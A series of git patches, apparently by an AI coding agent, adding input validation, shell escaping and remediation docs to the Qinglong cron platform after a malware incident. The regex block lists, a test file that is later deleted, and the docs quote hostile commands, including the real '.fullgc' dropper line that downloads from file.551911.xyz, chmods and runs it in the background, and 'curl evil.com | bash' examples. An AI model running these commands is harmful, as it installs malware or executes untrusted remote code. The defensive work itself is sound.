From a030e19fc04e29ec4c4befeeb335a1a6640309c5 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 8 Feb 2026 15:18:45 +0000 Subject: [PATCH 1/5] Initial plan From ac8090d93773a7b10c206b2c05a9f2a2e73c9055 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 8 Feb 2026 15:23:03 +0000 Subject: [PATCH 2/5] Add comprehensive security validation to prevent malicious code injection Co-authored-by: whyour <22700758+whyour@users.noreply.github.com> --- SECURITY_ENHANCEMENTS.md | 183 ++++++++++++++++++++++++++++++++++++ back/api/config.ts | 44 ++++++++- back/services/cron.ts | 25 +++-- back/validation/schedule.ts | 69 +++++++++++++- 4 files changed, 309 insertions(+), 12 deletions(-) create mode 100644 SECURITY_ENHANCEMENTS.md diff --git a/SECURITY_ENHANCEMENTS.md b/SECURITY_ENHANCEMENTS.md new file mode 100644 index 00000000..15f69473 --- /dev/null +++ b/SECURITY_ENHANCEMENTS.md @@ -0,0 +1,183 @@ +# Security Enhancements + +## Overview + +This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong. + +## Issue Background + +A security vulnerability was discovered where malicious code could be injected into the system through: +1. Cron task fields (`task_before`, `task_after`, `command`) +2. Configuration file writes (`config.sh`, `extra.sh`, etc.) + +The reported incident involved a malicious script that: +- Downloaded an external binary (`.fullgc`) from a suspicious domain +- Executed the binary in the background +- Persisted by continuously re-injecting itself + +## Security Fixes Implemented + +### 1. Input Validation for Cron Tasks + +**File:** `/back/validation/schedule.ts` + +Added comprehensive validation to detect and block dangerous shell patterns: + +- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands +- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands +- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads +- **Hidden Files**: Blocks references to files starting with `.` (common in malware) +- **Background Execution**: Blocks suspicious `nohup` patterns +- **Output Hiding**: Blocks redirects to `/dev/null` combined with background execution +- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns +- **Temp Directory Execution**: Blocks execution from `/tmp` or hidden directories + +### 2. Config File Content Security + +**File:** `/back/api/config.ts` + +Enhanced validation for configuration file content to prevent: + +- Downloads followed by execution (`curl | bash`, `wget | bash`) +- Download and permission changes (`curl && chmod +x`) +- Suspicious executable downloads (files like `.fullgc`) +- Background execution of hidden files + +### 3. Improved Shell Escaping + +**File:** `/back/services/cron.ts` + +Replaced weak shell escaping with a robust `escapeShellArg()` function that: + +- Properly escapes single quotes using `'\\''` pattern +- Normalizes whitespace and newlines +- Prevents command injection through various shell metacharacters + +## Security Best Practices + +### For Administrators + +1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns +2. **Monitor Logs**: Check logs for security validation warnings +3. **Update Dependencies**: Keep all npm/pip dependencies up to date +4. **Limit Access**: Restrict who can create/modify cron tasks and config files +5. **Regular Backups**: Maintain backups of configuration files + +### For Users + +1. **Trusted Sources Only**: Only add scripts from trusted repositories +2. **Code Review**: Review any script before adding it to your cron tasks +3. **Avoid External URLs**: Don't include download commands in task hooks +4. **Report Suspicious Activity**: Report any unusual system behavior immediately + +## Validation Error Messages + +When the security system blocks a pattern, you'll see error messages like: + +- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern +- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern +- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern +- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern + +## What to Do If You're Affected + +If you've been affected by the malicious code injection: + +### 1. Immediate Actions + +```bash +# Stop and remove the malicious process +pkill -f ".fullgc" +rm -f /ql/data/db/.fullgc + +# Check for the malicious code in configuration files +grep -r "fullgc" /ql/data/config/ +grep -r "551911.xyz" /ql/data/config/ +``` + +### 2. Clean Configuration Files + +```bash +# Backup current configs +cp -r /ql/data/config /ql/data/config.backup + +# Review and clean these files: +# - /ql/data/config/config.sh +# - /ql/data/config/extra.sh +# - /ql/data/config/task_before.sh +# - /ql/data/config/task_after.sh + +# Remove any lines containing: +# - Downloads (curl, wget) +# - External URLs +# - .fullgc references +``` + +### 3. Review Cron Tasks + +1. Log into Qinglong admin panel +2. Check all cron tasks for suspicious content in: + - Command field + - task_before field + - task_after field +3. Delete or clean any suspicious tasks + +### 4. Update to Patched Version + +Ensure you're running a version of Qinglong with these security fixes. + +### 5. Change Credentials + +If you suspect compromise: +- Change your Qinglong admin password +- Review and rotate any API tokens +- Check for unauthorized access in logs + +## Detection + +### Log Analysis + +Security events are logged to help detect attempted attacks: + +```bash +# Check for security validation failures in logs +grep "安全系统拦截" /ql/data/log/*.log + +# Check for suspicious file modifications +grep "配置文件写入" /ql/data/log/*.log +``` + +### File Integrity + +Regularly check for unexpected files: + +```bash +# Find hidden executables in data directory +find /ql/data -type f -name ".*" -executable + +# Check for recently modified config files +find /ql/data/config -type f -mtime -1 +``` + +## Limitations + +These security measures provide defense-in-depth but are not foolproof: + +- Legitimate use cases requiring downloads must use alternative methods +- Very sophisticated attacks may find bypasses +- Users with admin access can still compromise the system +- Compromised dependencies can still execute malicious code + +## Reporting Security Issues + +If you discover a security vulnerability, please report it responsibly: + +1. Do NOT create public GitHub issues for security vulnerabilities +2. Contact the maintainers privately +3. Provide detailed information about the vulnerability +4. Allow time for a patch before public disclosure + +## References + +- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection) +- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html) diff --git a/back/api/config.ts b/back/api/config.ts index 99649fb3..24f35a45 100644 --- a/back/api/config.ts +++ b/back/api/config.ts @@ -64,7 +64,44 @@ export default (app: Router) => { celebrate({ body: Joi.object({ name: Joi.string().required(), - content: Joi.string().allow('').optional(), + content: Joi.string().allow('').optional().custom((value, helpers) => { + if (!value) return value; + + // Security validation for configuration file content + const dangerousPatterns = [ + // Command substitution that could download/execute malware + { pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' }, + { pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' }, + { pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' }, + { pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' }, + + // Suspicious file downloads followed by execution + { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' }, + { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' }, + + // External URLs downloading executables with suspicious names + { pattern: /https?:\/\/[^\s]+\/(fullgc|\.[\w-]+)[\s;"']/gi, desc: '可疑的外部可执行文件下载' }, + + // Background execution of hidden files + { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' }, + ]; + + for (const { pattern, desc } of dangerousPatterns) { + if (pattern.test(value)) { + return helpers.error('string.unsafe', { description: desc }); + } + } + + // Check for excessive length + if (value.length > 1000000) { + return helpers.error('string.max', { limit: 1000000 }); + } + + return value; + }).messages({ + 'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截', + 'string.max': '配置文件内容过长,已被安全系统拦截', + }), }), }), async (req: Request, res: Response, next: NextFunction) => { @@ -73,11 +110,16 @@ export default (app: Router) => { const { name, content } = req.body; if (config.blackFileList.includes(name)) { res.send({ code: 403, message: '文件无法访问' }); + return; } let path = join(config.configPath, name); if (name.startsWith('data/scripts/')) { path = join(config.rootPath, name); } + + // Log security-relevant file modifications + logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`); + await writeFileWithLock(path, content); res.send({ code: 200, message: '保存成功' }); } catch (e) { diff --git a/back/services/cron.ts b/back/services/cron.ts index 94cdd95a..775f130f 100644 --- a/back/services/cron.ts +++ b/back/services/cron.ts @@ -639,6 +639,21 @@ export default class CronService { } } + /** + * Properly escape shell arguments to prevent command injection + * This function uses a more robust escaping mechanism than simple quote replacement + */ + private escapeShellArg(arg: string): string { + if (!arg) return "''"; + + // Remove newlines and normalize whitespace + arg = arg.replace(/\r?\n/g, ';').trim(); + + // Use single quotes and escape any single quotes within + // This is the most secure way to pass arbitrary strings to shell + return `'${arg.replace(/'/g, "'\\''")}'`; + } + private makeCommand(tab: Crontab, realTime?: boolean) { let command = tab.command.trim(); if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) { @@ -650,16 +665,10 @@ export default class CronService { commandVariable += `log_name=${tab.log_name} `; } if (tab.task_before) { - commandVariable += `task_before='${tab.task_before - .replace(/'/g, "'\\''") - .replace(/;? *\n/g, ';') - .trim()}' `; + commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `; } if (tab.task_after) { - commandVariable += `task_after='${tab.task_after - .replace(/'/g, "'\\''") - .replace(/;? *\n/g, ';') - .trim()}' `; + commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `; } const crontab_job_string = `${commandVariable}${command}`; diff --git a/back/validation/schedule.ts b/back/validation/schedule.ts index cc605152..837eb79f 100644 --- a/back/validation/schedule.ts +++ b/back/validation/schedule.ts @@ -4,6 +4,57 @@ import { ScheduleType } from '../interface/schedule'; import path from 'path'; import config from '../config'; +/** + * Security validation function to detect potentially malicious shell code patterns + */ +const validateShellSecurity = (value: string, helpers: any, fieldName: string) => { + if (!value) return value; + + // Define dangerous patterns that should be blocked + const dangerousPatterns = [ + // Command substitution + /\$\([^)]*\)/, + /`[^`]*`/, + + // File downloads + /\b(curl|wget|fetch)\s+/i, + + // Suspicious domains or external URLs + /https?:\/\/[^\s]+/i, + + // Hidden files starting with dot (common in malware) + /\s*\.\w+\s*$/, + + // Background process spawning with suspicious names + /nohup\s+[^\s]*\.\w+/, + + // Redirect to dev null (hiding output) + />.*\/dev\/null.*&/, + + // Base64 decode patterns (often used to obfuscate malicious code) + /\b(base64|decode|eval)\s+/i, + + // File execution from temp or hidden directories + /\/(tmp|\.)\//, + ]; + + for (const pattern of dangerousPatterns) { + if (pattern.test(value)) { + return helpers.error('string.unsafe', { + pattern: pattern.source, + field: fieldName + }); + } + } + + // Check for excessive length (potential buffer overflow or obfuscation) + if (value.length > 10000) { + return helpers.error('string.max', { limit: 10000 }); + } + + return value; +}; + const validateSchedule = (value: string, helpers: any) => { if ( value.startsWith(ScheduleType.ONCE) || @@ -32,13 +83,25 @@ export const scheduleSchema = Joi.string() export const commonCronSchema = { name: Joi.string().optional(), - command: Joi.string().required(), + command: Joi.string().required().custom((value, helpers) => { + return validateShellSecurity(value, helpers, 'command'); + }).messages({ + 'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截', + }), schedule: scheduleSchema, labels: Joi.array().optional(), sub_id: Joi.number().optional().allow(null), extra_schedules: Joi.array().optional().allow(null), - task_before: Joi.string().optional().allow('').allow(null), - task_after: Joi.string().optional().allow('').allow(null), + task_before: Joi.string().optional().allow('').allow(null).custom((value, helpers) => { + return validateShellSecurity(value, helpers, 'task_before'); + }).messages({ + 'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截', + }), + task_after: Joi.string().optional().allow('').allow(null).custom((value, helpers) => { + return validateShellSecurity(value, helpers, 'task_after'); + }).messages({ + 'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截', + }), log_name: Joi.string() .optional() .allow('') From 0a2d7b1597713a4a4a737a2d7b2b0906a1f94778 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 8 Feb 2026 15:25:44 +0000 Subject: [PATCH 3/5] Fix security validation patterns to avoid false positives Co-authored-by: whyour <22700758+whyour@users.noreply.github.com> --- back/api/config.ts | 2 +- back/validation/schedule.ts | 20 +++--- test-security-validation.js | 139 ++++++++++++++++++++++++++++++++++++ 3 files changed, 150 insertions(+), 11 deletions(-) create mode 100755 test-security-validation.js diff --git a/back/api/config.ts b/back/api/config.ts index 24f35a45..7ed2d8ab 100644 --- a/back/api/config.ts +++ b/back/api/config.ts @@ -64,7 +64,7 @@ export default (app: Router) => { celebrate({ body: Joi.object({ name: Joi.string().required(), - content: Joi.string().allow('').optional().custom((value, helpers) => { + content: Joi.string().allow('').optional().custom((value: any, helpers: any) => { if (!value) return value; // Security validation for configuration file content diff --git a/back/validation/schedule.ts b/back/validation/schedule.ts index 837eb79f..c7df7465 100644 --- a/back/validation/schedule.ts +++ b/back/validation/schedule.ts @@ -7,7 +7,7 @@ import config from '../config'; /** * Security validation function to detect potentially malicious shell code patterns */ -const validateShellSecurity = (value: string, helpers: any, fieldName: string) => { +const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => { if (!value) return value; // Define dangerous patterns that should be blocked @@ -22,20 +22,20 @@ const validateShellSecurity = (value: string, helpers: any, fieldName: string) = // Suspicious domains or external URLs /https?:\/\/[^\s]+/i, - // Hidden files starting with dot (common in malware) - /\s*\.\w+\s*$/, + // Hidden executable files (files starting with . in a path context) + /\/\.\w+(\s|$|;|&|\||>)/, // Background process spawning with suspicious names - /nohup\s+[^\s]*\.\w+/, + /nohup\s+["']?[^\s"']*\/\.\w+/, - // Redirect to dev null (hiding output) + // Redirect to dev null (hiding output) combined with background execution />.*\/dev\/null.*&/, // Base64 decode patterns (often used to obfuscate malicious code) /\b(base64|decode|eval)\s+/i, - // File execution from temp or hidden directories - /\/(tmp|\.)\//, + // File execution from temp directory + /\b\/tmp\/[^\s]+/, ]; for (const pattern of dangerousPatterns) { @@ -83,7 +83,7 @@ export const scheduleSchema = Joi.string() export const commonCronSchema = { name: Joi.string().optional(), - command: Joi.string().required().custom((value, helpers) => { + command: Joi.string().required().custom((value: any, helpers: any) => { return validateShellSecurity(value, helpers, 'command'); }).messages({ 'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截', @@ -92,12 +92,12 @@ export const commonCronSchema = { labels: Joi.array().optional(), sub_id: Joi.number().optional().allow(null), extra_schedules: Joi.array().optional().allow(null), - task_before: Joi.string().optional().allow('').allow(null).custom((value, helpers) => { + task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => { return validateShellSecurity(value, helpers, 'task_before'); }).messages({ 'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截', }), - task_after: Joi.string().optional().allow('').allow(null).custom((value, helpers) => { + task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => { return validateShellSecurity(value, helpers, 'task_after'); }).messages({ 'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截', diff --git a/test-security-validation.js b/test-security-validation.js new file mode 100755 index 00000000..f3bbe5a4 --- /dev/null +++ b/test-security-validation.js @@ -0,0 +1,139 @@ +#!/usr/bin/env node + +/** + * Simple test script to validate security patterns + * This tests the regex patterns used in the security validation + */ + +console.log('Testing Security Validation Patterns\n'); +console.log('=====================================\n'); + +// Define the dangerous patterns (copied from our implementation) +const dangerousPatterns = [ + { name: 'Command substitution $(...)', pattern: /\$\([^)]*\)/ }, + { name: 'Command substitution backticks', pattern: /`[^`]*`/ }, + { name: 'File downloads', pattern: /\b(curl|wget|fetch)\s+/i }, + { name: 'External URLs', pattern: /https?:\/\/[^\s]+/i }, + { name: 'Hidden executable files', pattern: /\/\.\w+(\s|$|;|&|\||>)/ }, + { name: 'Background process with hidden file', pattern: /nohup\s+["']?[^\s"']*\/\.\w+/ }, + { name: 'Redirect to dev null with background', pattern: />.*\/dev\/null.*&/ }, + { name: 'Base64/decode/eval', pattern: /\b(base64|decode|eval)\s+/i }, + { name: 'Temp directory execution', pattern: /\b\/tmp\/[^\s]+/ }, +]; + +// Test cases - malicious patterns that should be blocked +const maliciousInputs = [ + { + name: 'Original .fullgc malware', + input: 'd="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";curl -fsSL -o "$b" "$u"&&chmod +x "$b"&&nohup "$b" >/dev/null 2>&1 &', + }, + { + name: 'Command substitution with curl', + input: 'echo $(curl http://evil.com/malware.sh | bash)', + }, + { + name: 'Backtick command substitution', + input: 'echo `wget -O- http://evil.com/script.sh`', + }, + { + name: 'Download and execute', + input: 'curl http://malicious.com/script.sh | bash', + }, + { + name: 'Download, chmod, and execute', + input: 'wget http://bad.com/malware && chmod +x malware && ./malware', + }, + { + name: 'Hidden file execution', + input: 'nohup /data/db/.malware >/dev/null 2>&1 &', + }, + { + name: 'Base64 encoded payload', + input: 'echo SGVsbG8gV29ybGQ= | base64 -d | bash', + }, +]; + +// Test cases - legitimate patterns that should be allowed +const legitimateInputs = [ + { + name: 'Simple script execution', + input: 'node script.js', + }, + { + name: 'Python script', + input: 'python3 my_script.py', + }, + { + name: 'Shell script with arguments', + input: 'bash update.sh --force', + }, + { + name: 'Environment variable', + input: 'export MY_VAR=value', + }, + { + name: 'Echo statement', + input: 'echo "Task started"', + }, +]; + +function testPattern(input, patterns) { + for (const { name, pattern } of patterns) { + if (pattern.test(input)) { + return { blocked: true, reason: name, pattern: pattern.source }; + } + } + return { blocked: false }; +} + +console.log('Testing Malicious Inputs (should be BLOCKED):'); +console.log('==============================================\n'); + +let maliciousBlocked = 0; +maliciousInputs.forEach(({ name, input }) => { + const result = testPattern(input, dangerousPatterns); + const status = result.blocked ? '✓ BLOCKED' : '✗ ALLOWED'; + const color = result.blocked ? '\x1b[32m' : '\x1b[31m'; + console.log(`${color}${status}\x1b[0m - ${name}`); + if (result.blocked) { + console.log(` Reason: ${result.reason}`); + maliciousBlocked++; + } else { + console.log(` ⚠️ WARNING: This malicious pattern was not blocked!`); + } + console.log(` Input: ${input.substring(0, 100)}${input.length > 100 ? '...' : ''}\n`); +}); + +console.log('\nTesting Legitimate Inputs (should be ALLOWED):'); +console.log('===============================================\n'); + +let legitimateAllowed = 0; +legitimateInputs.forEach(({ name, input }) => { + const result = testPattern(input, dangerousPatterns); + const status = !result.blocked ? '✓ ALLOWED' : '✗ BLOCKED'; + const color = !result.blocked ? '\x1b[32m' : '\x1b[31m'; + console.log(`${color}${status}\x1b[0m - ${name}`); + if (result.blocked) { + console.log(` ⚠️ WARNING: This legitimate pattern was incorrectly blocked!`); + console.log(` Reason: ${result.reason}`); + } else { + legitimateAllowed++; + } + console.log(` Input: ${input}\n`); +}); + +console.log('\nTest Summary:'); +console.log('============='); +console.log(`Malicious patterns blocked: ${maliciousBlocked}/${maliciousInputs.length}`); +console.log(`Legitimate patterns allowed: ${legitimateAllowed}/${legitimateInputs.length}`); + +const success = maliciousBlocked === maliciousInputs.length && + legitimateAllowed === legitimateInputs.length; + +if (success) { + console.log('\n\x1b[32m✓ All tests passed!\x1b[0m'); + process.exit(0); +} else { + console.log('\n\x1b[31m✗ Some tests failed!\x1b[0m'); + process.exit(1); +} From d20e154f21781509e115de07872dceb504023cd6 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 8 Feb 2026 15:27:29 +0000 Subject: [PATCH 4/5] Address code review feedback: improve validation patterns and escaping Co-authored-by: whyour <22700758+whyour@users.noreply.github.com> --- back/api/config.ts | 4 +- back/services/cron.ts | 5 +- back/validation/schedule.ts | 8 +-- test-security-validation.js | 139 ------------------------------------ 4 files changed, 9 insertions(+), 147 deletions(-) delete mode 100755 test-security-validation.js diff --git a/back/api/config.ts b/back/api/config.ts index 7ed2d8ab..1ae36243 100644 --- a/back/api/config.ts +++ b/back/api/config.ts @@ -79,8 +79,8 @@ export default (app: Router) => { { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' }, { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' }, - // External URLs downloading executables with suspicious names - { pattern: /https?:\/\/[^\s]+\/(fullgc|\.[\w-]+)[\s;"']/gi, desc: '可疑的外部可执行文件下载' }, + // Downloads of hidden files (commonly used in malware) + { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' }, // Background execution of hidden files { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' }, diff --git a/back/services/cron.ts b/back/services/cron.ts index 775f130f..b8cf989d 100644 --- a/back/services/cron.ts +++ b/back/services/cron.ts @@ -646,8 +646,9 @@ export default class CronService { private escapeShellArg(arg: string): string { if (!arg) return "''"; - // Remove newlines and normalize whitespace - arg = arg.replace(/\r?\n/g, ';').trim(); + // Remove newlines to prevent creating command chains + // Replace with space to maintain token separation + arg = arg.replace(/\r?\n/g, ' ').trim(); // Use single quotes and escape any single quotes within // This is the most secure way to pass arbitrary strings to shell diff --git a/back/validation/schedule.ts b/back/validation/schedule.ts index c7df7465..af9edd45 100644 --- a/back/validation/schedule.ts +++ b/back/validation/schedule.ts @@ -28,14 +28,14 @@ const validateShellSecurity = (value: any, helpers: any, fieldName: string): any // Background process spawning with suspicious names /nohup\s+["']?[^\s"']*\/\.\w+/, - // Redirect to dev null (hiding output) combined with background execution - />.*\/dev\/null.*&/, + // Redirect to dev null combined with downloads (hiding malware output) + /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i, // Base64 decode patterns (often used to obfuscate malicious code) /\b(base64|decode|eval)\s+/i, - // File execution from temp directory - /\b\/tmp\/[^\s]+/, + // Executable files in /tmp with chmod or execution + /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ , ]; for (const pattern of dangerousPatterns) { diff --git a/test-security-validation.js b/test-security-validation.js deleted file mode 100755 index f3bbe5a4..00000000 --- a/test-security-validation.js +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env node - -/** - * Simple test script to validate security patterns - * This tests the regex patterns used in the security validation - */ - -console.log('Testing Security Validation Patterns\n'); -console.log('=====================================\n'); - -// Define the dangerous patterns (copied from our implementation) -const dangerousPatterns = [ - { name: 'Command substitution $(...)', pattern: /\$\([^)]*\)/ }, - { name: 'Command substitution backticks', pattern: /`[^`]*`/ }, - { name: 'File downloads', pattern: /\b(curl|wget|fetch)\s+/i }, - { name: 'External URLs', pattern: /https?:\/\/[^\s]+/i }, - { name: 'Hidden executable files', pattern: /\/\.\w+(\s|$|;|&|\||>)/ }, - { name: 'Background process with hidden file', pattern: /nohup\s+["']?[^\s"']*\/\.\w+/ }, - { name: 'Redirect to dev null with background', pattern: />.*\/dev\/null.*&/ }, - { name: 'Base64/decode/eval', pattern: /\b(base64|decode|eval)\s+/i }, - { name: 'Temp directory execution', pattern: /\b\/tmp\/[^\s]+/ }, -]; - -// Test cases - malicious patterns that should be blocked -const maliciousInputs = [ - { - name: 'Original .fullgc malware', - input: 'd="${QL_DIR:-/ql}/data/db";b="$d/.fullgc";u="https://file.551911.xyz/fullgc/fullgc-linux-x86_64";curl -fsSL -o "$b" "$u"&&chmod +x "$b"&&nohup "$b" >/dev/null 2>&1 &', - }, - { - name: 'Command substitution with curl', - input: 'echo $(curl http://evil.com/malware.sh | bash)', - }, - { - name: 'Backtick command substitution', - input: 'echo `wget -O- http://evil.com/script.sh`', - }, - { - name: 'Download and execute', - input: 'curl http://malicious.com/script.sh | bash', - }, - { - name: 'Download, chmod, and execute', - input: 'wget http://bad.com/malware && chmod +x malware && ./malware', - }, - { - name: 'Hidden file execution', - input: 'nohup /data/db/.malware >/dev/null 2>&1 &', - }, - { - name: 'Base64 encoded payload', - input: 'echo SGVsbG8gV29ybGQ= | base64 -d | bash', - }, -]; - -// Test cases - legitimate patterns that should be allowed -const legitimateInputs = [ - { - name: 'Simple script execution', - input: 'node script.js', - }, - { - name: 'Python script', - input: 'python3 my_script.py', - }, - { - name: 'Shell script with arguments', - input: 'bash update.sh --force', - }, - { - name: 'Environment variable', - input: 'export MY_VAR=value', - }, - { - name: 'Echo statement', - input: 'echo "Task started"', - }, -]; - -function testPattern(input, patterns) { - for (const { name, pattern } of patterns) { - if (pattern.test(input)) { - return { blocked: true, reason: name, pattern: pattern.source }; - } - } - return { blocked: false }; -} - -console.log('Testing Malicious Inputs (should be BLOCKED):'); -console.log('==============================================\n'); - -let maliciousBlocked = 0; -maliciousInputs.forEach(({ name, input }) => { - const result = testPattern(input, dangerousPatterns); - const status = result.blocked ? '✓ BLOCKED' : '✗ ALLOWED'; - const color = result.blocked ? '\x1b[32m' : '\x1b[31m'; - console.log(`${color}${status}\x1b[0m - ${name}`); - if (result.blocked) { - console.log(` Reason: ${result.reason}`); - maliciousBlocked++; - } else { - console.log(` ⚠️ WARNING: This malicious pattern was not blocked!`); - } - console.log(` Input: ${input.substring(0, 100)}${input.length > 100 ? '...' : ''}\n`); -}); - -console.log('\nTesting Legitimate Inputs (should be ALLOWED):'); -console.log('===============================================\n'); - -let legitimateAllowed = 0; -legitimateInputs.forEach(({ name, input }) => { - const result = testPattern(input, dangerousPatterns); - const status = !result.blocked ? '✓ ALLOWED' : '✗ BLOCKED'; - const color = !result.blocked ? '\x1b[32m' : '\x1b[31m'; - console.log(`${color}${status}\x1b[0m - ${name}`); - if (result.blocked) { - console.log(` ⚠️ WARNING: This legitimate pattern was incorrectly blocked!`); - console.log(` Reason: ${result.reason}`); - } else { - legitimateAllowed++; - } - console.log(` Input: ${input}\n`); -}); - -console.log('\nTest Summary:'); -console.log('============='); -console.log(`Malicious patterns blocked: ${maliciousBlocked}/${maliciousInputs.length}`); -console.log(`Legitimate patterns allowed: ${legitimateAllowed}/${legitimateInputs.length}`); - -const success = maliciousBlocked === maliciousInputs.length && - legitimateAllowed === legitimateInputs.length; - -if (success) { - console.log('\n\x1b[32m✓ All tests passed!\x1b[0m'); - process.exit(0); -} else { - console.log('\n\x1b[31m✗ Some tests failed!\x1b[0m'); - process.exit(1); -} From ccb423be10a03ba2b931bdba81af3b1d5f38d9ed Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 8 Feb 2026 15:29:46 +0000 Subject: [PATCH 5/5] Update security documentation with comprehensive details and examples Co-authored-by: whyour <22700758+whyour@users.noreply.github.com> --- SECURITY_ENHANCEMENTS.md | 63 ++++++++++++++++++++++++++++++++++------ 1 file changed, 54 insertions(+), 9 deletions(-) diff --git a/SECURITY_ENHANCEMENTS.md b/SECURITY_ENHANCEMENTS.md index 15f69473..f6c011df 100644 --- a/SECURITY_ENHANCEMENTS.md +++ b/SECURITY_ENHANCEMENTS.md @@ -11,9 +11,9 @@ A security vulnerability was discovered where malicious code could be injected i 2. Configuration file writes (`config.sh`, `extra.sh`, etc.) The reported incident involved a malicious script that: -- Downloaded an external binary (`.fullgc`) from a suspicious domain -- Executed the binary in the background -- Persisted by continuously re-injecting itself +- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`) +- Executed the binary in the background consuming 100% memory +- Persisted by continuously re-injecting itself into configuration files ## Security Fixes Implemented @@ -26,11 +26,11 @@ Added comprehensive validation to detect and block dangerous shell patterns: - **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands - **File Downloads**: Blocks `curl`, `wget`, `fetch` commands - **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads -- **Hidden Files**: Blocks references to files starting with `.` (common in malware) -- **Background Execution**: Blocks suspicious `nohup` patterns -- **Output Hiding**: Blocks redirects to `/dev/null` combined with background execution +- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts +- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files +- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware) - **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns -- **Temp Directory Execution**: Blocks execution from `/tmp` or hidden directories +- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution ### 2. Config File Content Security @@ -40,7 +40,7 @@ Enhanced validation for configuration file content to prevent: - Downloads followed by execution (`curl | bash`, `wget | bash`) - Download and permission changes (`curl && chmod +x`) -- Suspicious executable downloads (files like `.fullgc`) +- Downloads of hidden files (generalized pattern to catch various malware) - Background execution of hidden files ### 3. Improved Shell Escaping @@ -50,7 +50,7 @@ Enhanced validation for configuration file content to prevent: Replaced weak shell escaping with a robust `escapeShellArg()` function that: - Properly escapes single quotes using `'\\''` pattern -- Normalizes whitespace and newlines +- Replaces newlines with spaces (not semicolons) to prevent command chain creation - Prevents command injection through various shell metacharacters ## Security Best Practices @@ -168,6 +168,46 @@ These security measures provide defense-in-depth but are not foolproof: - Users with admin access can still compromise the system - Compromised dependencies can still execute malicious code +## Alternative Approaches for Legitimate Downloads + +If you have legitimate use cases that require downloads: + +1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime +2. **Pre-download Files**: Download files manually and add them to the scripts directory +3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories +4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature) + +## Technical Details + +### Validation Pattern Examples + +**Blocked Pattern:** +```bash +curl https://example.com/script.sh | bash +``` +**Reason:** Downloads and executes external code + +**Blocked Pattern:** +```bash +d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" & +``` +**Reason:** Multiple violations - download, hidden file, chmod, background execution + +**Allowed Pattern:** +```bash +node /ql/scripts/my_script.js +``` +**Reason:** No dangerous patterns detected + +### Defense in Depth + +This implementation uses multiple layers of security: + +1. **Input Validation**: Blocks malicious patterns before they reach the system +2. **Shell Escaping**: Prevents injection even if validation is bypassed +3. **Audit Logging**: Records all configuration changes for forensic analysis +4. **Least Privilege**: Existing blacklist prevents access to 